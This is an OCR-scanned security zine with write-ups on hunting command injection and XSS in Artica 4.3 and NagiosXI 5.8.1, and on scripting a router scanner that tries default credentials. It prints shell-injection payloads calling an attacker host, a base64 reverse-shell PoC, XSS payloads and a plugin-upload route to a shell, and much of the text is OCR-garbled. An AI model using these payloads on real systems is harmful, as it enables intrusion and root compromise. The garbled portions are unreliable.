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Hello World
Hi ;]
,Long time no see” isn’t IT? In this part you'll find 3 topics:

First one is related hunting for so called webapp ,,0days” (few other similar cases you can find
already described on the blog, ex. here or here). As a target app | decided to use latest Artica VM
(4.3).

Second is a similar topic but this time we’ll talk about bugs in NagiosX| 5.8.1 (relax — all of them are
post-auth related ;)).

Third topic is already publicly available but in this part I'll talk more about the details and examples
for automated router scanning.

| hope you’ll find it useful... ;]

Here we go!


https://code610.blogspot.com/2020/03/creating-poc-for-preauth-symantec-web.html
https://code610.blogspot.com/2020/03/creating-poc-for-nagiosxi-0day.html
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Hunting Odays with Artica 4.3

(16.02.2021 @ 17:44)



Intro
It's been a while since | was looking for the bugs in Artica VM [1, 2] but also not so long time

ago to not check it again. ;) Last version | tried [1, 2] was 4.26. Few days ago | downloaded ,the
latest” version - 4.30. Let’s see what we will find this time. Here we go... ;]

Environment
As | mentioned in the previous section | used VM appliance downloaded directly from the

vendor’s resources [3]. To run it | used VirtualBox. As a second (,,attacker’s”) VM | used Kali Linux.
When all is ready — we can jump directly to the next section where we’ll try to find the bug ;] Here we

go!

Oday Sea’s On

After a while with Burp proxy[4] and the browser | was able to spot few ,interesting places”
in the application. For example for one of them (similar to the Fortigate VM case described on the
blog[5]) we can see some hints in the ,log file” or ,log viewer”, here we go:

.php[25891]: [TRACKER]: Error HNumber 3 ( 8 ) - Host name 'a'";$(telnet 192.168.1.178 443);#"

{root) CMD { /fusr/bin/php /usr/share/artica-postfix/exec.sys-stats.php >/dev/null 2>&1)
(root) CMD ( /usr/bin/php fusr/share/artica-postfix/exec.squid.smtp.notifications.php »/dev/n

i ] o e B O . I

i ] P o '] 2 ! e

It's always ,interesting enough” (at least for me;)) to go forward and check it (if we have a source

code of course but for this case — we can grab a full code of the WWW as well as config files and
investigate them later). For now we should be here:


https://code610.blogspot.com/2019/01/rce-in-artica.html
https://code610.blogspot.com/2020/03/rce-in-artica-426.html
https://code610.blogspot.com/2019/01/rce-in-artica.html
https://code610.blogspot.com/2020/03/rce-in-artica-426.html
https://www.articatech.com/download.php
https://code610.blogspot.com/2019/07/xss-in-dokuwiki.html
https://code610.blogspot.com/2019/09/crashing-fortigate-vm-621-httpd.html

Member

Starting.....: 18:09-44 10% {check_account}

Starting..__: 18:09-44 20% [check_account} admin@here com

Error Number 5 ( Q) - Could not resolve proxy: ';date>/tmp/asdasd123;
Starting..__: 18:09-44 110% {check_account} {failed}{error}line 74

Well, well, well... Should we help our target VM to find and resolve a proper proxy? ;> We'll see... ;)
Next — we are here:

Artica Technical Support admin@here.com

Artica Technical Support Parameters

Account: admin@here.com
Name: asd

APIKEY: asd

Password:

/tmp/asdasd123;' style="font-size: 14px'>

/tmp/asdasd123;' style="font-size: 14px'>

Hm. If | will ask you to not-protect-against-XSS-attacks a field in your form — which one would you
choose? Isn’t that the password field? ;)

Next? Let’s add a New Computer:

ERROR: syntax error at or near "\" LINE 1: ...LUES (NOW(),0"/58:10:7f:16:e7:€8'/0.0.0.0%a\'
\";$(telne... * INSERT INTO
hostsnet(createdate,hostid,mac,ipaddr,proxyalias,fullnostname,dhcpfixed,gateway,gateway2,dns1,dr
VALUES (NOW(),0,58:10:7f:16:e7:e8'/0.0.0.0''a\'\"; $(telnet 192.168.1.170

443);#a\;$(date>asdasd 123);#a\'\"";$(reboot);#"a\'\";$(telnet 192.168.1.170

VV';$(telnet 192'168.1.170 443);#a\V;$(date>asdasd123);#a\'\"";$(reboot);#,a\\"; $(telnet
192.168.1.170 443);#a\;$(date>asdasd 123);#a\'\"";$(reboot);#,a\'\";$(telnet 192.168.1.170

CONFLICT DO NOTHING

| tried to configure an LDAP server too:



LDAP server

The OpenLDAP service is a standard database that allows you to manage members, administrators locally.
With the OpenlLDAP service you can authenticate your members for Internet accesses

(0% Starting service

508 Starting service

K Wejscie U

Wido

LDAP service

In the (DB) history (available on the VM'’s page) you can easily find your (persistent now) XSS
payload;) Like this one:

So far, so good. After an hour or so you should be able to spot multiple interesting places ready to be
exploited. One of the possibility | found during my tests was to run commands on remote host as
root. Below you will find the step-by-step story for one of the found cases:

- initially[6], when I’'m testing VM appliances like this one I’'m trying to spot the part of the app
related to system management. What does it mean for me? Any place in the app where user will
‘run’ ,commands” as remote (CLI) user (www-data/apache/root — whatever).

- long story short: if any field on that page is ,not filtered properly” (OWASP Top10 anyone?[7]) then
it’s probably a game over.

TL;DR:

Remember our ‘unresolved proxy’? ;) Let’s get back to it. After a while of testing this-or-that payload
with various delimiters and escape characters | decided to log in to the appliance (‘as root’ via CLI)
and check what’s currently going on in the log files. This is what | found:


https://code610.blogspot.com/p/found.html
https://owasp.org/www-project-top-ten/

on ttyl
Z-amded #1 SMP Debian 4.19.152-1 [

~ matching
d of file

\o/

So? ;] Let’s continue: now the case is to find a proper command we’ll be able to inject inside the
(any?) request sent (later) by the appliance. Checking:

glnet 192.168.1.170 4438

n failed: Unk
KMOWMY [15

Bigger picture:



Mdashboard

Internet access Proxy

To do that | decided to restart the VM (just to refresh and restart all the processes) and this is what |
found:

system Root password and system tasks
KeyBoard keyhoard, local,charset setup
Processes Processes Monitar
HebIntertace  Heb console menu
License License Inf

Reboot this |
Shutdaun Shutdown this server
Exit Exit to the shell

Well, looks like there is another request (used/sent by the appliance with our malformed
HTTP_PROXY) but this time we’ll receive a ‘normal’ user’s shell.



Let’s try one more. It’s time to Simulate a Request. Let’s do it! ;)

Now we’ll use this tool to run reversed root-shell. Here we go:

C @ U £ https;//192.168.1.10:9000/5upport

Request simulation

Request simulation - 100% Success
E Search message

Artlca Te‘ Url: https://www.ibmi";telnet 192.168.1.170 44 3:#"b.cm/industries/banking-fil
This section allows yol User-Agent:  Mozilla/5.i";telnet 192.168.1.170 443:#0 (Windoa&Saltelnet 192.168.1.1]
Member - 100% Check accoun Accept-Language: frfr-FR:q=0.8.ei";telnet 192.168.1.170 443:#n-US:q=0.5.en:q=0.3

n-US:q=0.5.en:q=0.3

tries/banking-financial-marke|

Looks like (already;)) done, isn’t it?

Poc (you’ll need a reboot of the VM to get a shell):



As you can see this simple script was generated using right-click from Burp Suite (,,Copy as a
requests”):

lyEvdXNyL2Jpbi9lbnYgcHI0aGIuCiMgMTYuMDIuMjAyMSBAIDAYO;j14CiMgYXJ0aWNhIDQuMy54.
IHBvc3RhdXRolGxvY2FsIGNvbmZpZyBwb2Izb24gdG8gUKNFIDtTCiMgCmItcG9ydCByZXF1ZXNO
cwoKYnVycDBfdXJsIDOgImhOdHBzOi8vMTkyLjE20C4xLjEwOjkwMDAvVZncuZ2xvYmFsLnByb3h5
LnBocCIKYnVycDBfY29va2llcyA9IHsiUEhQUOVTUOIEljogljgzNDIkMTKOYJEWN2I4NGU4MzIim
YzImN;jllODhIOTYSliwgimlvljogljEXVENoSFZzSnN4RFAWUKVBQUFSIliwglkFzV2ViU3RhdGlz
dGljcONVbOtpZSI6ICIXliwgInNoZWxsaW5hYm94Q29vS2liljoglEifQpidXJwMFIoZWFkZXJz
1D0geyJVc2VyLUFnZW50ljoglklvemlsbGEVNS4wIChXaW5kb3dzIESUIDEwWLjA7IFdpbjYOOyB4
NjQ7IHJ20jgyLjAplEdIY2tvLzIwMTAWMTAXIEZpcmVmb3gvODIuMCIsICJBY2NIcHQIOiAiKi8q
liwglkFjY2VwdC1IMYW5ndWFnZSI6IClwbCxIbi1VUztxPTAuNyxIbjtxPTAuMylsICJBY2NIcHQt
RWS5jb2RpbmciOiAiZ3ppcCwgZGVmbGFOZSIsICIPcmInaW4iOiAiaHROCHM6LY8XOTIUMTY4LjEu
MTA60TAWMCIsICIDb25uZWNOaW9uljogimNsh3NIliwglJIZmVyZXIiOiAiaHROCHM6Ly8xOTlu
MTY4LjEuMTA60TAWMCInbG9iYWwtcHJveHkiLCAIQ29udGVudC1UeXBlljoglmFwcGxpY2F0aW9u
L3gtd3d3LWZvemOtdXJsZW5jb2RIZCIICmI1cnAwX2RhdGEgPSB7IkFydGljYVByb3h5U2VydmVy
RW5hYmxIZCI6ICIxliwglkFydGljYVByb3h5U2VydmVyTmFtZSI6ICJhITI2)TI2YmFzaCUyMClp
JTIWITNFITITIWITIGZGV2JTIGAGNWITIGMTkyLJE20C4xLJE3MCUYRjQOMyUyMDAIMOUIM;Yx
JTI2JTI2aWQIM;YIMjYiLCAIQX)0aWNhUHJveHITZXJ2ZX)Qb3J0ljogljMxMjgiLCAIQXJ0aWNh
UHJveHITZXJ2ZXJVc2VybmFtZSI6ICIhITI2ITI2YmFzaCUyMC1pJ TIWJTNFITI2I TIWITIGZGV2
ITIGAGNWITIGMTKyLJE20C4xXLJE3MCUyRjQOMyUyMDAIMOUIM;YxJTI2ITI2aWQIM]YIM]YiLCAi
QXJ0aWNhUHJveHITZXJ2ZX)Vc2VyUGFzc3dvemQiOiAiYSUyNiUyNmJhc2gIMjAtaSUyMCUzRSUy
NiUyMCUyRmRIdiUyRnRjcCUyR]E5SMidxNijg IMKYONDMI TNFITI2MSUyMylsICIO
bONoZWNrU3F1aWQiOiAiMCIsICIDdXJsVXNIckFnZW50IjogImEIM;YIM|ZOZWxuZXQIMjAXOTIu
MTY4LjEuMTcewJTIWNDQzJTI2JTI2aWQIMOVwd2Rwd2QxMjMIMjMILCAiV2dIdEJpbmRICEFKZHII
¢3Mi0iAnJ30KemVxdWVzdHMucG9zdChidXJwMF91cmwslGhIYWRIcnM9YnVycDBfaGVhZGVycywg
Y29va2llcz1idXJwMF9jb29raWVzLCBKYXRhPWJ1cnAwX2RhdGEsIHZIcmImeT1GYWxzZSkKCgo=

But | believe you’d also like to check (only in your own local LAB environment) this one too:

IFdp
SICIBY2NIcH

VXRpb2a JodHR,

L2ESMiaxNjgu
JogHRWCIOVLZE:

RIUYRAJhCC:

U
R Uy i

awiTiw

mvaL
UzRD)

ALEIMC
1hbGI2ZS!:

(Clwiiwg!

b20raWVeLCBIA

16YWNZSKK

In (authorized) the , best scenario” you should receive a shell without any need to restart the VM.




Public examples

In the meantime (when | was looking for any CVEs/github/public-info about the bug(s) |
found — just to avoid the duplicates) | found that there are already few publicly known CVEs for this
version of Artica (4.3). For example:

c @ © & hitpsy/nvd.nistgov/vuln/search/results?a e%3A2.3%3Aa%3Aarticatech%3Aweb_proxy%3A4.30.0000009 B 9% I @

Sortresults by: Publish Date Descending |~ | [olgs

Q Search Results (refine Search)

Search Parameters: There are 2 matching records.

o Keyword {text search): Displaying matches 1 through 2.

Vuln ID 2% Summary @ CVSS Severity &

CVE-2020-17506 Artica Web Proxy 4.30.00000000 allows remote attacker to bypass privilege detection and gain web backend administrator privileges through SQL V3.1:
injection of the apikey parameter in fw.login.php. V2.0: -

Published: sierpnia 12, 2020; 1:15:12 PM -0400

CVE-2020-17505 Artica Web Proxy 4.30.000000 allows an authenticated remote attacker to inject commands via the service-cmds parameter in cyrus.php. These V3.1: -
commands are executed with root privileges via service_cmds_peform. V2.0: -

Published: sierpnia 12,2020; 1:15:12 PM -0400

So —it looks like in case of a succesfully (SQLi) attack — pentester is able to grab a reverse rootshell.

Would you like to change locale...? Give IT a try, ;>

Looks like it’s done. ;]
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3 - https://www.articatech.com/download.php

4 - https://code610.blogspot.com/2019/07/xss-in-dokuwiki.html

5 - https://code610.blogspot.com/2019/09/crashing-fortigate-vm-621-httpd.html

6 - https://code610.blogspot.com/p/found.html

7 - https://owasp.org/www-project-top-ten/
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https://code610.blogspot.com/2019/07/xss-in-dokuwiki.html
https://code610.blogspot.com/2019/09/crashing-fortigate-vm-621-httpd.html
https://code610.blogspot.com/p/found.html
https://owasp.org/www-project-top-ten/

Hunting Odays with NagiosX| 5.8.1

(12.02.2012 @ 23:34)



Intro

Some time ago [1,2] | was testing NagiosXl and few days ago | decided to check it again. |
believe from time to time it’s always good to hunt for some (even easy) ‘Odays’... So? ;] This time the
version | tried is described as ‘the latest one’ again (means: 5.8.1). Let’s see...

Environment
This time [2] | downloaded VM (5.8.1) and started it together with Kali VM (just in case I'll
need a netcat listener).

When all is prepared properly — we should be somewhere here:

Nagios X1

Access Nagios XI at http:--18.8.2.15 Default root Password: nagiosxi

ent03 Linux 7 (Core)
Kernel 3.18.8-1168.11.1.e1?7.x86_64 on an x86_64

localhost login:

Here we go!


https://code610.blogspot.com/2018/04/few-bugs-in-latest-nagios-xi-5413.html
https://code610.blogspot.com/2020/03/creating-poc-for-nagiosxi-0day.html
https://code610.blogspot.com/2020/03/creating-poc-for-nagiosxi-0day.html

Quick ride
*TL;DR ;]

Let’s jump directly to XSS bugs we can easily find during our little investigation ;] First one:

e In managebackups.php, param(s): ftp[lastrun]:

POST /nagk i php HTTP/1.1
Host: 192.168.1.10

User-Agent. MozlalSD(MWs NT 10.0; Win64, x64, rv:i 8.2 0) Gecko/20100101 Firefox/82.0
Accept: text/html, vtmbexm p,"*.q=0.8

Accept-Language: pl.en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate

Content-Type: appiication/x-www-form-urlencoded
Content-Length: 861

Origin: http://192.168.1.10

‘Connection: close

Referer: MtprQZ 168.1.1 jos i php

Cookie: nagk 2

Upgrade-Insecure-Reguests: 1

tab_hash 5626 4db6024 15997f555a0f7 %5Blastrun%50=">" mvglonhm:pmrrvlﬁ23123]>&np%5mmq%5|)—weekwm%55
day%5D=0&fp% SD: SBmins % 5D- ver%SsD=1.1.1.18fp%5Bport%SD=21&ftp%: name’ SD=qwesftp%SBdir% SD=%2F &ftp%
SM%SD-?M:h%SBlum%SDdJ&ssh%SBfreq%SD-weekly&:sh%SBd:y%SD#J&uh%SB?mn%SD#JO&:SH%W%SD%uh%SBGWW%SDﬂ 2.3.483s5h%5Bport%50=228ss
h%5B: 5D SBauth_type% SD=p 5D=&ssh%5Bpubkey_fie%5D=8ssh%5Bprivkey_file%5D=8ssh% 5Bprivkey_passwor
d%srr_usmsmstr%zrassh%smscﬂsm%smm%snﬂomwsmmmeemMm%smmﬁm%sms&m%mﬂsm
% 5D=%2F store% 2Fbackups % 2F SBImit% 5D=7 I_backups_¢

Our payload is clearly ‘visible’ in the response:
[ <h5 class="ul">FTP Settings</h5>
<table class="table table-condensed table-no-border table-auto-width*>
<tbody>
<tr>
<td><label>Schedule For</label></td>
<td>
<input type="hidden" name="ftp[lastrun]" value=">"><svg/onioad=prompt(123123)>">
<select name="ftp[freq]" class="form-control" style="width: 90px;*>
<option value="daily” >Daily</option>
roption value="weekly" selected>Weekly</option>
roption value="monthly* >Monthly</option>
</select>

‘Show response in browser’ —is presented below:

‘(—‘—) X @ |® £ 192.168.1.10/nagiosxi/includes/components/scheduledbackups/managebackups.php

123123

| [ Anun |

Next one - /scheduledbackups/ajaxcalls.php, param: ssh[server]:



POST pho HTTPI1
Host: 192.168.1.10
User-Agent: Mozika/5.0 (Windows NT 10.0; Win64; x64; rv.82.0) Gecko/20100101 Firefox/82.0

Accept apphcation/json, textjavascript, */*, 9=0.01

Accept-Language: plen-US.q=0.7,en,q=0.3

Accept-Encoding: gz, deflate

Content-Type: application/x-www.form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 294

Origin: hitp//192.168.1.10

Connection: close

Referer. hitp//192.168.1. ohp
| Cookie: nagiosxm9inIseB4sss4 InpmmmrhenSod2

Looks like there is unfiltered error message:

'(—' - ¢ @ © # 192.168.1.10/nagiosxi/includes/components/scheduledbackups/ajaxcalls.php

{"error":"Could not establish a connection to "=\"=">

XSS<Vh1><Vmarquee>."}

Some local path disclosure bug if you’d like to:

QL 192.1 68.1.10/nagiosxi/admin/mibs.php?mode=download&file=.//../fadmin//

Otwieranie .admin *

Rozpoczeto pobieranie pliku:
ﬂ' .admin
Typ pliku: Text File (342 B)
Adres: http:;//192.168.1.10

ation with

Content of the file is presented below:

G

<b>Warning</b>: f£ilesize(}: stat failed for /usry/share/gnmp/miks/.admin in <b>/usr/local/nagicszi/html/admin/mibs.php</b> on line <b>797</b><br />

<pr />

<b>Warning</b>: zrsadfile(/usr/share/somp/miks/.admin): failed to open stream: No such file or directory in <b>/usr/local/pagioszi/himl/admin/mibs.php</bj

Next one is another XSS this time in /admin/components.php and params: instances[0][name],
instances[0][api_key]:

POST HTTRY
Host: 192.168.1.10

User-Agent: Mozila/s.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/B2.0
Accept *

Accept-Language: plen-US;q=0.7,en:a=0.3

Accept-Encoding gzip, defiate

Content-Type: appication/x-www-form-uriencoded

Content-Length: 368

Origin: hitp/192.168.1.10

Connection: ciose
Referer hitp //192.168.1

Cookie: 1
Upgrade-Insecure-Requests: 1

89817 " 1 %5B0%50% 5Baddress %50=1.1.1

ure%5D=" vaid, back

Results presented below:



</thead>
<tbody>
<trs>
<td=
<label-Name:
<input type="text" class="form-control” name="instances[0][name]" value=">"><svg/onload=prompt(123123)>=">
</labet>
</td=
<td=
<label>IP Address / Hostname:
<input type="text" class="form-control® name="instances|[0][address]" value="1.1.1.1">
<flabeb

More here:

':'(—i:'—) X @ © & 192.168.1.10/nagiosxi/admin/components.php?config=nagiosna

123123

Similar results for the api_key — see below:

=/td>
<td>
<label>API Key:
<input type="text" class="form-control” name="instances[0][api_key]" value=">"><svg/onload=prompt(123123)>" style="
<flabel>
<td>
<td class="checkbox">

e i

Another XSS was found in /includes/components/nrdsconfigmanager/nrdsconfigmanager.php for
param: dir:



POST /nagiosxiincludes/components/nrdsconfigmanager/nrdsconfigmanager php?mode=create HTTP/1.1
Host: 192.168.1.10

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, x64; rv:82.0) Gecko/20100101 Firefox/82.0

Accept: text/htmi,application/xhtmi+xmil,application/xml;g=0.9 image/webp,*/*;,g=0.8

Accept-Language: plen-US;q=0.7 en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: multipartform-data; boundary= 15176373174890138591887447608
Content-Length: 2806

Origin: hitp://192.168.1.10

Connection: close

Referer: hitp://192.168.1.10/nagiosxiincludes/components/nrdsconfigmanager/nrdsconfigmanager. php?mode=create
Cookie: AsWebStatistics CooKie=1; shelinaboxCooKie=1; nagiosxi=lu1eitSdv4gv TonSjlult7pts4
Upgrade-Insecure-Requests: 1

15176373174890138591887447608
Content-Disposition; form-data; name="nsp”

641411 754bdfefc 22412{70edBc3fd898173e1eBbb3de1b23fa919b3293b2566
15176373174890138591887447608
Content-Disposition; form-data; name="dir"

'»">"><marquee><h1>X55</h1></marquee>
15176373174890138591887447608
Content-Disposition; form-data; name="file"

cfg
15176373174890138591887447608

Content-Disposition; form-data; name="configvar[CONFIG_VERSION]J"

0.1
15176373174890138591887447608

P antant Minnandian: farmm dada name=®aanfis o lPORMETT™ ACT

As we can see in error message — there is no such file ;)

f\(—/:' - C @ ‘@ a2 192.168.1.10/nagiosxi/includes/components/nrdsconfigmanager/nrdsconfigmanager.php?mode=create

NRDS Config Manager

0k, let’s jump to the next one XSS this time located in /admin/mailsettings.php in param
main_inbound_replyto:

POST /naglosxvadmivmalsetings.php HTTP/1.1
Host: 192.168.1.10

User-Agent: Mozila/'S.0 (Windows NT 10.0, WinB4; x84; rv:82 0) Gecko/20100101 Firefox/82.0
Accept. texthtmi, Q=0
Accept-Language: plen-US;q=0.7,en,q=0.3

Accept-Encoding: gzip, deflate

Content-Type: appication/x-www-form-uriencoded

Content-Length' 552

Origin: hitp://192.168.1.10

Connection: close
Referer: hitp/192 168.1.10/nagosxadmin/maisettings php
Cooke: ; ;

Upgrade-Insecure-Requests: 1

> b inbound_t
d&mai_inbound_process_time=28mai_inbound_type=Y 38 y g==8mai_inbound, inbound_por inbound_ 4_inbound nad_inbound_e
ai_inbound_vaidate=18updateBution=

Our new settings you can check on the screen below:



':.(_:.:'9 X ﬁ Lo 192.168.1.10/nagiosxi/admin/mailsettings.php

123123
[ |
[ ok ] Ay |
| believe it’s enough for a start. Quick summary you'll find in the table below:
* TL;DR:
managebackups.php ftp[lastrun] XSS
scheduledbackups/ajaxcalls.php ssh[server] XSS
admin/mibs.php file FPD
admin/components.php instances[0][name] XSS
admin/components.php instances[0][api_key] XSS
nrdsconfigmanager/nrdsconfigmanager.php | dir XSS
admin/mailsettings.php main_inbound_replyto XSS

Keep in mind that all of them were found using ‘only a blackbox approach’ (during day or two of
manual pentesting). | hope you’ll look in the source for more details... ;]

Maybe you'll find it useful.



Postauth Reverse Shell

(Just in case you still want a revshell;)) this is pretty simple when you already grabbed the
password — just prepare a simple (ex. bash-)oneliner and upload it as new ‘Module’ for your

NagiosXl:

[root@localhost "1# cd ~usrrslocalsnagios~libexec
[rootPlocalhost libexecl#t cat nagiosme???.sh

#tt binssh

ate>stmprsthizisdatefilell3
[root@localhost libexecl#t _

Next step is to add a new command, like this one:

Command Management

Command Name *

torrotorro

Command Line *

/bin/bash /usr/local/nagios/libexec/nagiosme777.sh

Command Type:

check command |~

Active €

Available Plugins

Remember to Apply Configuration to continue:

Commands

+ Add New Displaying 1-1 of 1

[] 1Command Name

& Apply Configuration

Are you ready? ;]

With checked

1 Command Line

/bin/bash fusr/local/nagios/libexec/nagiosme777.sh



Apply Configuration

~J Configuration applied successfully.

MNagios Core was restarted with an updated configuration.

&' view configuration snapshots

Show Written Configs

Finish it with Run Check Command — it should be enough:

Run Check Command

P Run Check Command

[nagios@localhost.localdomain ~]$ fbin/bash /jusr/local/nagios/libexec/nagiosme3.sh

[rootPlocalhost “1# 1s -la stmprsplugin= | cat stmpsplug=
Fri Feb 26 18:84:53 CST 2821

[rootPlocalhost “1# 1s -la stmpsplugin=

-rw-r--r-- 1 nagios nagios 29 Feb 26 18:84 rtmp-splugin.dated?

[rootPlocalhost ™1#

Have fun!;]
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Extended Router Fuzzing and Scanning

(08.02.2021 @ 22:22)



Intro

In last ,Notes Magazine” (#05)[1] we talked a bit about how can we automate the fuzzing or
scanning process during our pentesting adventures[2]. One of the obvious ways to do it is to create a
simple script that will ,,do the whole job for us”.

...and this was the subject of one of the videos already available on my YouTube channel[3]
(you’ll find them some intros/demos and/or quick tutorials related to IT security). One of the very
first video was related to ‘Fuzzing ActivePresenter’[4].

Today we'll stay with routers and loT appliances so let’s jump to the environment | used (and
mentioned in the video[3]). Here we go.

Environment

TL;DR - let’s run the Ubuntu VM and/or Kali VM — your choice. This time | used Kali VM (just
to keep in mind that maybe we’ll use some of the tools already installed on the VM like gobuster or
dirb or nmap).

After a while we should be here:

§ [ ] =] E c@kali: ~/src/fuzz

c@kali: ~/src/fuzz

File Actions Edit View Help
:~/src/fuzz$ [

Let’s go directly to the very first scenario. ;]


https://code610.blogspot.com/2021/02/code16-notes-magazine-05.html
https://code610.blogspot.com/p/mini-arts.html
https://youtu.be/hCHZVY_Fveo
https://code610.blogspot.com/2021/01/crashing-activepresenter.html
https://youtu.be/hCHZVY_Fveo

Few basics
Let’s assume that we found a router/loT-box with some IP (ex. 1.2.3.4) during our

scan/pentest. Our (‘example’) output looks like this[5] one presented below (don’t worry, later we'll
extend it a little bit;)):

pon 22:18

root@u18: ~/tools/faTTY

File Edit View Search Terminal Help

root@u

root@u

binwalk

root@u

root@u tools/faTTY# s

faTTY-monitor.sh faTTY-scanner.sh getlog.tmp nmap.ALL nmap.tmp tmp

root@uis:-/tools/faTTY# grep open nmap.ALL
22ftcp ssh syn-ack ttl Dropbear sshd (protocol 2.0)
80/tcp http syn-ack ttl &

root@ui8:~/tools/faTTY#

As you can see (in the video) | added a telnetd service to the Ubuntu VM | used:

root@u18: ~/tools/FaTTY

File Edit View Search Terminal Help
aTTY# apt-cache search telnet-server

ic telnet server
- telnet server with encryption support
aTTY# apt-get install telnetd -y
lists... Done
ing dependency tree
Reading state information... Done

If you ,don’t have a router to scan with nmap” to get your own ‘logs’ — let’s assume that we’ll
have a 21,22,23 and 80 or 443 TCP port(s) open:

[

en port

ed open port
ed open port €p on 127.
y 1 fro

For now we should be somewhere here:


https://www.youtube.com/watch?v=hbTa5K5B2PE

By python.org

it argument is a list of regular expressions, either compiled (regex objects) or uncompiled (byte
The optional second argument is a timeout, in seconds; the default is to block indefinitely.

la tuple of three items: the index in the list of the fi
eturned; and the bytes read up till and including the
File Edit View Search Terminal Help

telnetlib 1

t sys

at_option_negotiation_callback(ca i
- - - Bowdlist = ['admin
me a telnet option is read on the input flow, thi

Examp\e tn.read_until(b"login: ")
tn.write(user.encode( 'ascii') + b'\n")

ample illustrating typical use:

ptpass
plnetlib

tn.read_until(b S d
r your remote account: ") tn.write(passwd.encode('a
= getpass.getpass() print sswd provi

netlib.Telnet(HOST) tn.write(b"l
tn.write(b"exi

)

intil(b"login:

{user.encode('ascii') + b"\n") I print(tn.read all().decode(
prd: i

ad_until (b"Password: ")

rite(password.encode( 'ascii’} + b"\n")

[b"Lls\n"}

(Just in case ;)) Checking the source from the video[5]:

# apt install telnetd

followi
telnetd

And:

B mE

File Actions Edit View Help

/src/fuzz§ ./furr
1 168.1.10

modul

7/telnetlib.py”, line 385, in read

y", line 576, im fill_
1f.sock.
ket.timeout: timed out
:~/src/fuzz$ []

root@kali: homeic

File Actions Edit View Help

Unknown host
2.168.1.10] 51794

Ok — ,let’s say”... ;] (Error messages as well as beautifying the code — | will leave for you as an
exercise;)). Continuing:


https://www.youtube.com/watch?v=hbTa5K5B2PE

src/fuzz$ ./fw2.py 192

root@kali: fhomefc/sreffuzz
Actions Edit View Help

loit( ) > C ion 2 opened (192.168.1
— 192.168.1.10: p. :36:13 -0500

loit(
ELLS Information
Connection

To run a command as administrat
192.168.1.70:443

ions -1 2
ting interaction with

uid=1001(admin) gid=1001(admin) groups=1001(admin)

Checking (the same) with Ubuntu VM:

@ c@ul8: ~/srcffuzz

So | believe at this stage we can stay with Ubuntu VM ;) Next: for me the case looks like th(e
similar described here[6, 7])is: grep nmap logfile for open ports and create a quick-script to try ‘few
checks’ (like infodisclo via http services, passwords easy to guess, and so on...). So for now —
according to the skeleton - we should be somewhere here:


https://code610.blogspot.com/2019/05/lazy-enlil.html
https://code610.blogspot.com/2019/06/few-more-quick-tests.html

Good. Next we need to clean the ‘portlist’ we can grab after the initial nmap scan. Let’s try this: we’ll
rewrite a bit the readMe() function. See below:

As we already have a ‘logfile’ we can #comment this line to save some time during our little research.
Checking:



Ok — for a skeleton-version — it looks good (enough to continue). So? Next: let’s try to attach our
super-telnet-bruteforcer to the main_py script ;] We should be somewhere here:

Cool. Initial poc for the very first step(s) is ‘ready’ (read: as a skeleton ;)) so we can continue below
with next TCP port (and RTFM):

© @ nttpsy/docs.python.org/3/library/ftplib.htm

>>> from ftplib import FTP

>>> ftp = FTP('ftp.us.debian.org') #

>>> ftp.login() #

'230 Login successful.'

>>> ftp.cwd('debian') #

>>> ftp.retrlines('LIST') #

—rW-rwW-r-- 1 1176 1176 1063 Jun 15 10:18 README
drwxr-sr-x 5 1176 1176 4096 Dec 19 2000 pool
drwxXr-sr-x 4 1176 1176 4096 Nov 17 2008 project
drwxr-xr-x 3 1176 1176 4096 Oct 10 2012 tools
'226 Directory send OK.'

>>> with open('README', 'wb') as fp:
>>> ftp.retrbinary ('R
'226 Transfer complete.'
>>> ftp.quit()

fp.write)



Nice — we already have a half of the job done simply by using the code from the manual(s). Let’s
modify it like we did for telnet port — we’ll not ,brute force” it but we’ll use ,,few default” login:pass
pairs. Here we go:

@ root@ul18: fhome/c/srcffuzz

not found, but can

Good. Next:

So far - looks fine ;] Let’'s move forward to another port — HTTP. | decided to not focus on
enumeration and grabbing any possible directory/file location (btw it could kill the router/loT as well
as too-hard-nmap-scanning (so yep, you’ll have your fuzzing scenario but in the very same way you
can crash the target box — be careful here or use your debugger to investigate/reverse the bugs) ;)). |
decided to take a look only for the public resources (like Exploit-DB) to find some poc(s) for this-or-
that appliance. For now we should be somewhere here:

c@ul8:~/src/fuzz$ grep http logz/127.0.0.1.log | grep tcp
80/tcp open http  syn-ack Apache httpd 2.4.29 ((Ubuntu))
443 /tcp open ssl/https syn-ack gws

c@ul8:~/src/fuzz$




As you can see we have 2 ‘http related’ ports opened. Let’s prepare our script for that kind of
scenarios[8].

Here we go...


https://code610.blogspot.com/p/notes-magazine.html

To Knowledge

Step-by-step

@ c@u18: ~/src/fuzz

Let’s jump here

WWW

| believe you got the idea. ;]



More:

That should be enough for a ‘skeleton-poc’.

Remember to use it only for legal purposes. ;]

Cheers
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Outro

Comments/questions — you’ll know how to find me.

Thank you. | appreciate it.

Cheers


https://code610.blogspot.com/p/contact.html
https://twitter.com/CodySixteen




